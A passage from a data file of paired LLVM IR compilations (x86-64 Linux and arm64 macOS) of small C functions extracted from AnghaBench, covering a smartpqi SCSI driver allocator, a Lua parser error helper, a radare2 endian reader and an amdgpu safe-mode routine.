call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %4) #3
%39 = add nsw i32 %24, %2
%40 = add nuw i64 %23, 1
%41 = icmp slt i32 %39, %1
br i1 %41, label %22, label %42, !llvm.loop !18
42: ; preds = %31
%43 = icmp eq i32 %39, 0
br i1 %43, label %44, label %51
44: ; preds = %30, %42
%45 = phi i64 [ %40, %42 ], [ %23, %30 ]
%46 = trunc i64 %45 to i32
%47 = icmp sgt i32 %46, 0
br i1 %47, label %48, label %69
48: ; preds = %44
%49 = getelementptr inbounds %struct.pqi_ofa_memory, ptr %11, i64 0, i32 1
%50 = and i64 %45, 4294967295
br label %58
51: ; preds = %42
%52 = load i32, ptr @CISS_SG_LAST, align 4, !tbaa !11
%53 = getelementptr inbounds %struct.pqi_sg_descriptor, ptr %32, i64 %23, i32 1
%54 = call i32 @put_unaligned_le32(i32 noundef %52, ptr noundef nonnull %53) #3
%55 = getelementptr inbounds %struct.pqi_ofa_memory, ptr %11, i64 0, i32 2
%56 = call i32 @put_unaligned_le16(i32 noundef %9, ptr noundef nonnull %55) #3
%57 = call i32 @put_unaligned_le32(i32 noundef %39, ptr noundef nonnull %11) #3
br label %76
58: ; preds = %48, %58
%59 = phi i64 [ %50, %48 ], [ %60, %58 ]
%60 = add nsw i64 %59, -1
%61 = load ptr, ptr %49, align 8, !tbaa !14
%62 = getelementptr inbounds %struct.pqi_sg_descriptor, ptr %61, i64 %60
%63 = load ptr, ptr %0, align 8, !tbaa !13
%64 = getelementptr inbounds i32, ptr %63, i64 %60
%65 = load i32, ptr %64, align 4, !tbaa !11
%66 = call i32 @get_unaligned_le64(ptr noundef %62) #3
%67 = call i32 @dma_free_coherent(ptr noundef %6, i32 noundef %2, i32 noundef %65, i32 noundef %66) #3
%68 = icmp ugt i64 %59, 1
br i1 %68, label %58, label %69, !llvm.loop !20
69: ; preds = %58, %18, %44
%70 = load ptr, ptr %0, align 8, !tbaa !13
%71 = call i32 @kfree(ptr noundef %70) #3
br label %72
72: ; preds = %14, %3, %69
%73 = call i32 @put_unaligned_le32(i32 noundef 0, ptr noundef %11) #3
%74 = load i32, ptr @ENOMEM, align 4, !tbaa !11
%75 = sub nsw i32 0, %74
br label %76
76: ; preds = %72, %51
%77 = phi i32 [ %75, %72 ], [ 0, %51 ]
ret i32 %77
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @kcalloc(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @dma_alloc_coherent(ptr noundef, i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
declare i32 @put_unaligned_le64(i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @put_unaligned_le32(i32 noundef, ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
declare i32 @put_unaligned_le16(i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @dma_free_coherent(ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @get_unaligned_le64(ptr noundef) local_unnamed_addr #2
declare i32 @kfree(ptr noundef) local_unnamed_addr #2
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 16}
!6 = !{!"pqi_ctrl_info", !7, i64 0, !7, i64 8, !7, i64 16}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!6, !7, i64 8}
!11 = !{!12, !12, i64 0}
!12 = !{!"int", !8, i64 0}
!13 = !{!6, !7, i64 0}
!14 = !{!15, !7, i64 8}
!15 = !{!"pqi_ofa_memory", !12, i64 0, !7, i64 8, !12, i64 16}
!16 = !{!17, !17, i64 0}
!17 = !{!"long", !8, i64 0}
!18 = distinct !{!18, !19}
!19 = !{!"llvm.loop.mustprogress"}
!20 = distinct !{!20, !19}
| ; ModuleID = 'AnghaBench/linux/drivers/scsi/smartpqi/extr_smartpqi_init.c_pqi_ofa_alloc_mem.c'
source_filename = "AnghaBench/linux/drivers/scsi/smartpqi/extr_smartpqi_init.c_pqi_ofa_alloc_mem.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
%struct.pqi_sg_descriptor = type { i32, i32, i32 }
@GFP_KERNEL = common local_unnamed_addr global i32 0, align 4
@CISS_SG_LAST = common local_unnamed_addr global i32 0, align 4
@ENOMEM = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @pqi_ofa_alloc_mem], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal range(i32 -2147483647, -2147483648) i32 @pqi_ofa_alloc_mem(ptr nocapture noundef %0, i32 noundef %1, i32 noundef %2) #0 {
%4 = alloca i64, align 8
%5 = getelementptr inbounds i8, ptr %0, i64 16
%6 = load ptr, ptr %5, align 8, !tbaa !6
%7 = add i32 %1, -1
%8 = add i32 %7, %2
%9 = sdiv i32 %8, %2
%10 = getelementptr inbounds i8, ptr %0, i64 8
%11 = load ptr, ptr %10, align 8, !tbaa !11
%12 = mul nsw i32 %9, %2
%13 = icmp slt i32 %12, %1
br i1 %13, label %71, label %14
14: ; preds = %3
%15 = load i32, ptr @GFP_KERNEL, align 4, !tbaa !12
%16 = tail call ptr @kcalloc(i32 noundef %9, i32 noundef 8, i32 noundef %15) #3
store ptr %16, ptr %0, align 8, !tbaa !14
%17 = icmp eq ptr %16, null
br i1 %17, label %71, label %18
18: ; preds = %14
%19 = icmp sgt i32 %1, 0
br i1 %19, label %20, label %68
20: ; preds = %18
%21 = getelementptr inbounds i8, ptr %11, i64 8
br label %22
22: ; preds = %20, %31
%23 = phi i64 [ 0, %20 ], [ %40, %31 ]
%24 = phi i32 [ 0, %20 ], [ %39, %31 ]
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %4) #3
%25 = load i32, ptr @GFP_KERNEL, align 4, !tbaa !12
%26 = call i32 @dma_alloc_coherent(ptr noundef %6, i32 noundef %2, ptr noundef nonnull %4, i32 noundef %25) #3
%27 = load ptr, ptr %0, align 8, !tbaa !14
%28 = getelementptr inbounds i32, ptr %27, i64 %23
store i32 %26, ptr %28, align 4, !tbaa !12
%29 = icmp eq i32 %26, 0
br i1 %29, label %30, label %31
30: ; preds = %22
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %4) #3
br label %44
31: ; preds = %22
%32 = load ptr, ptr %21, align 8, !tbaa !15
%33 = getelementptr inbounds %struct.pqi_sg_descriptor, ptr %32, i64 %23
%34 = load i64, ptr %4, align 8, !tbaa !17
%35 = trunc i64 %34 to i32
%36 = call i32 @put_unaligned_le64(i32 noundef %35, ptr noundef %33) #3
%37 = getelementptr inbounds i8, ptr %33, i64 8
%38 = call i32 @put_unaligned_le32(i32 noundef %2, ptr noundef nonnull %37) #3
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %4) #3
%39 = add nsw i32 %24, %2
%40 = add nuw nsw i64 %23, 1
%41 = icmp slt i32 %39, %1
br i1 %41, label %22, label %42, !llvm.loop !19
42: ; preds = %31
%43 = icmp eq i32 %39, 0
br i1 %43, label %44, label %50
44: ; preds = %30, %42
%45 = phi i64 [ %40, %42 ], [ %23, %30 ]
%46 = trunc i64 %45 to i32
%47 = icmp sgt i32 %46, 0
br i1 %47, label %48, label %68
48: ; preds = %44
%49 = and i64 %45, 2147483647
br label %57
50: ; preds = %42
%51 = load i32, ptr @CISS_SG_LAST, align 4, !tbaa !12
%52 = getelementptr inbounds i8, ptr %33, i64 4
%53 = call i32 @put_unaligned_le32(i32 noundef %51, ptr noundef nonnull %52) #3
%54 = getelementptr inbounds i8, ptr %11, i64 16
%55 = call i32 @put_unaligned_le16(i32 noundef %9, ptr noundef nonnull %54) #3
%56 = call i32 @put_unaligned_le32(i32 noundef %39, ptr noundef nonnull %11) #3
br label %75
57: ; preds = %48, %57
%58 = phi i64 [ %49, %48 ], [ %59, %57 ]
%59 = add nsw i64 %58, -1
%60 = load ptr, ptr %21, align 8, !tbaa !15
%61 = getelementptr inbounds %struct.pqi_sg_descriptor, ptr %60, i64 %59
%62 = load ptr, ptr %0, align 8, !tbaa !14
%63 = getelementptr inbounds i32, ptr %62, i64 %59
%64 = load i32, ptr %63, align 4, !tbaa !12
%65 = call i32 @get_unaligned_le64(ptr noundef %61) #3
%66 = call i32 @dma_free_coherent(ptr noundef %6, i32 noundef %2, i32 noundef %64, i32 noundef %65) #3
%67 = icmp ugt i64 %58, 1
br i1 %67, label %57, label %68, !llvm.loop !21
68: ; preds = %57, %18, %44
%69 = load ptr, ptr %0, align 8, !tbaa !14
%70 = call i32 @kfree(ptr noundef %69) #3
br label %71
71: ; preds = %14, %3, %68
%72 = call i32 @put_unaligned_le32(i32 noundef 0, ptr noundef %11) #3
%73 = load i32, ptr @ENOMEM, align 4, !tbaa !12
%74 = sub nsw i32 0, %73
br label %75
75: ; preds = %71, %50
%76 = phi i32 [ %74, %71 ], [ 0, %50 ]
ret i32 %76
}
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1
declare ptr @kcalloc(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @dma_alloc_coherent(ptr noundef, i32 noundef, ptr noundef, i32 noundef) local_unnamed_addr #2
declare i32 @put_unaligned_le64(i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @put_unaligned_le32(i32 noundef, ptr noundef) local_unnamed_addr #2
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1
declare i32 @put_unaligned_le16(i32 noundef, ptr noundef) local_unnamed_addr #2
declare i32 @dma_free_coherent(ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #2
declare i32 @get_unaligned_le64(ptr noundef) local_unnamed_addr #2
declare i32 @kfree(ptr noundef) local_unnamed_addr #2
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 16}
!7 = !{!"pqi_ctrl_info", !8, i64 0, !8, i64 8, !8, i64 16}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!7, !8, i64 8}
!12 = !{!13, !13, i64 0}
!13 = !{!"int", !9, i64 0}
!14 = !{!7, !8, i64 0}
!15 = !{!16, !8, i64 8}
!16 = !{!"pqi_ofa_memory", !13, i64 0, !8, i64 8, !13, i64 16}
!17 = !{!18, !18, i64 0}
!18 = !{!"long", !9, i64 0}
!19 = distinct !{!19, !20}
!20 = !{!"llvm.loop.mustprogress"}
!21 = distinct !{!21, !20}
| linux_drivers_scsi_smartpqi_extr_smartpqi_init.c_pqi_ofa_alloc_mem |
; ModuleID = 'AnghaBench/skynet/3rd/lua/extr_lparser.c_undefgoto.c'
source_filename = "AnghaBench/skynet/3rd/lua/extr_lparser.c_undefgoto.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_7__ = type { i32, i32 }
@.str = private unnamed_addr constant [34 x i8] c"<%s> at line %d not inside a loop\00", align 1
@.str.1 = private unnamed_addr constant [44 x i8] c"no visible label '%s' for <goto> at line %d\00", align 1
@llvm.compiler.used = appending global [1 x ptr] [ptr @undefgoto], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal i32 @undefgoto(ptr noundef %0, ptr nocapture noundef readonly %1) #0 {
%3 = getelementptr inbounds %struct.TYPE_7__, ptr %1, i64 0, i32 1
%4 = load i32, ptr %3, align 4, !tbaa !5
%5 = tail call i64 @isreserved(i32 noundef %4) #2
%6 = icmp eq i64 %5, 0
%7 = select i1 %6, ptr @.str.1, ptr @.str
%8 = load i32, ptr %0, align 4, !tbaa !10
%9 = load i32, ptr %3, align 4, !tbaa !5
%10 = tail call i32 @getstr(i32 noundef %9) #2
%11 = load i32, ptr %1, align 4, !tbaa !12
%12 = tail call ptr @luaO_pushfstring(i32 noundef %8, ptr noundef nonnull %7, i32 noundef %10, i32 noundef %11) #2
%13 = tail call i32 @semerror(ptr noundef nonnull %0, ptr noundef %12) #2
ret i32 undef
}
declare i64 @isreserved(i32 noundef) local_unnamed_addr #1
declare ptr @luaO_pushfstring(i32 noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @getstr(i32 noundef) local_unnamed_addr #1
declare i32 @semerror(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 4}
!6 = !{!"TYPE_7__", !7, i64 0, !7, i64 4}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!11, !7, i64 0}
!11 = !{!"TYPE_6__", !7, i64 0}
!12 = !{!6, !7, i64 0}
| ; ModuleID = 'AnghaBench/skynet/3rd/lua/extr_lparser.c_undefgoto.c'
source_filename = "AnghaBench/skynet/3rd/lua/extr_lparser.c_undefgoto.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@.str = private unnamed_addr constant [34 x i8] c"<%s> at line %d not inside a loop\00", align 1
@.str.1 = private unnamed_addr constant [44 x i8] c"no visible label '%s' for <goto> at line %d\00", align 1
@llvm.used = appending global [1 x ptr] [ptr @undefgoto], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal i32 @undefgoto(ptr noundef %0, ptr nocapture noundef readonly %1) #0 {
%3 = getelementptr inbounds i8, ptr %1, i64 4
%4 = load i32, ptr %3, align 4, !tbaa !6
%5 = tail call i64 @isreserved(i32 noundef %4) #2
%6 = icmp eq i64 %5, 0
%7 = select i1 %6, ptr @.str.1, ptr @.str
%8 = load i32, ptr %0, align 4, !tbaa !11
%9 = load i32, ptr %3, align 4, !tbaa !6
%10 = tail call i32 @getstr(i32 noundef %9) #2
%11 = load i32, ptr %1, align 4, !tbaa !13
%12 = tail call ptr @luaO_pushfstring(i32 noundef %8, ptr noundef nonnull %7, i32 noundef %10, i32 noundef %11) #2
%13 = tail call i32 @semerror(ptr noundef nonnull %0, ptr noundef %12) #2
ret i32 undef
}
declare i64 @isreserved(i32 noundef) local_unnamed_addr #1
declare ptr @luaO_pushfstring(i32 noundef, ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @getstr(i32 noundef) local_unnamed_addr #1
declare i32 @semerror(ptr noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 4}
!7 = !{!"TYPE_7__", !8, i64 0, !8, i64 4}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!12, !8, i64 0}
!12 = !{!"TYPE_6__", !8, i64 0}
!13 = !{!7, !8, i64 0}
| skynet_3rd_lua_extr_lparser.c_undefgoto |
; ModuleID = 'AnghaBench/radare2/libr/anal/extr_..includer_endian.h_r_read_at_le32.c'
source_filename = "AnghaBench/radare2/libr/anal/extr_..includer_endian.h_r_read_at_le32.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
@UT32_MAX = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @r_read_at_le32], section "llvm.metadata"
; Function Attrs: inlinehint nounwind uwtable
define internal i32 @r_read_at_le32(ptr noundef %0, i64 noundef %1) #0 {
%3 = icmp eq ptr %0, null
br i1 %3, label %4, label %6
4: ; preds = %2
%5 = load i32, ptr @UT32_MAX, align 4, !tbaa !5
br label %9
6: ; preds = %2
%7 = getelementptr inbounds i32, ptr %0, i64 %1
%8 = tail call i32 @r_read_le32(ptr noundef nonnull %7) #2
br label %9
9: ; preds = %6, %4
%10 = phi i32 [ %8, %6 ], [ %5, %4 ]
ret i32 %10
}
declare i32 @r_read_le32(ptr noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !6, i64 0}
!6 = !{!"int", !7, i64 0}
!7 = !{!"omnipotent char", !8, i64 0}
!8 = !{!"Simple C/C++ TBAA"}
| ; ModuleID = 'AnghaBench/radare2/libr/anal/extr_..includer_endian.h_r_read_at_le32.c'
source_filename = "AnghaBench/radare2/libr/anal/extr_..includer_endian.h_r_read_at_le32.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@UT32_MAX = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @r_read_at_le32], section "llvm.metadata"
; Function Attrs: inlinehint nounwind ssp uwtable(sync)
define internal i32 @r_read_at_le32(ptr noundef %0, i64 noundef %1) #0 {
%3 = icmp eq ptr %0, null
br i1 %3, label %4, label %6
4: ; preds = %2
%5 = load i32, ptr @UT32_MAX, align 4, !tbaa !6
br label %9
6: ; preds = %2
%7 = getelementptr inbounds i32, ptr %0, i64 %1
%8 = tail call i32 @r_read_le32(ptr noundef nonnull %7) #2
br label %9
9: ; preds = %6, %4
%10 = phi i32 [ %8, %6 ], [ %5, %4 ]
ret i32 %10
}
declare i32 @r_read_le32(ptr noundef) local_unnamed_addr #1
attributes #0 = { inlinehint nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !7, i64 0}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
| radare2_libr_anal_extr_..includer_endian.h_r_read_at_le32 |
; ModuleID = 'AnghaBench/linux/drivers/gpu/drm/amd/amdgpu/extr_amdgpu_rlc.c_amdgpu_gfx_rlc_exit_safe_mode.c'
source_filename = "AnghaBench/linux/drivers/gpu/drm/amd/amdgpu/extr_amdgpu_rlc.c_amdgpu_gfx_rlc_exit_safe_mode.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.amdgpu_device = type { i32, %struct.TYPE_5__ }
%struct.TYPE_5__ = type { %struct.TYPE_6__ }
%struct.TYPE_6__ = type { i32, ptr }
%struct.TYPE_4__ = type { ptr, ptr }
@AMD_CG_SUPPORT_GFX_CGCG = dso_local local_unnamed_addr global i32 0, align 4
@AMD_CG_SUPPORT_GFX_MGCG = dso_local local_unnamed_addr global i32 0, align 4
@AMD_CG_SUPPORT_GFX_3D_CGCG = dso_local local_unnamed_addr global i32 0, align 4
; Function Attrs: nounwind uwtable
define dso_local void @amdgpu_gfx_rlc_exit_safe_mode(ptr noundef %0) local_unnamed_addr #0 {
%2 = getelementptr inbounds %struct.amdgpu_device, ptr %0, i64 0, i32 1
%3 = load i32, ptr %2, align 8, !tbaa !5
%4 = icmp eq i32 %3, 0
br i1 %4, label %25, label %5
5: ; preds = %1
%6 = getelementptr inbounds %struct.amdgpu_device, ptr %0, i64 0, i32 1, i32 0, i32 1
%7 = load ptr, ptr %6, align 8, !tbaa !13
%8 = getelementptr inbounds %struct.TYPE_4__, ptr %7, i64 0, i32 1
%9 = load ptr, ptr %8, align 8, !tbaa !14
%10 = tail call i32 %9(ptr noundef nonnull %0) #1
%11 = icmp eq i32 %10, 0
br i1 %11, label %25, label %12
12: ; preds = %5
%13 = load i32, ptr %0, align 8, !tbaa !16
%14 = load i32, ptr @AMD_CG_SUPPORT_GFX_CGCG, align 4, !tbaa !17
%15 = load i32, ptr @AMD_CG_SUPPORT_GFX_MGCG, align 4, !tbaa !17
%16 = or i32 %15, %14
%17 = load i32, ptr @AMD_CG_SUPPORT_GFX_3D_CGCG, align 4, !tbaa !17
%18 = or i32 %16, %17
%19 = and i32 %18, %13
%20 = icmp eq i32 %19, 0
br i1 %20, label %25, label %21
21: ; preds = %12
%22 = load ptr, ptr %6, align 8, !tbaa !13
%23 = load ptr, ptr %22, align 8, !tbaa !18
%24 = tail call i32 %23(ptr noundef nonnull %0) #1
store i32 0, ptr %2, align 8, !tbaa !5
br label %25
25: ; preds = %5, %1, %21, %12
ret void
}
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 8}
!6 = !{!"amdgpu_device", !7, i64 0, !10, i64 8}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"TYPE_5__", !11, i64 0}
!11 = !{!"TYPE_6__", !7, i64 0, !12, i64 8}
!12 = !{!"any pointer", !8, i64 0}
!13 = !{!6, !12, i64 16}
!14 = !{!15, !12, i64 8}
!15 = !{!"TYPE_4__", !12, i64 0, !12, i64 8}
!16 = !{!6, !7, i64 0}
!17 = !{!7, !7, i64 0}
!18 = !{!15, !12, i64 0}
| ; ModuleID = 'AnghaBench/linux/drivers/gpu/drm/amd/amdgpu/extr_amdgpu_rlc.c_amdgpu_gfx_rlc_exit_safe_mode.c'
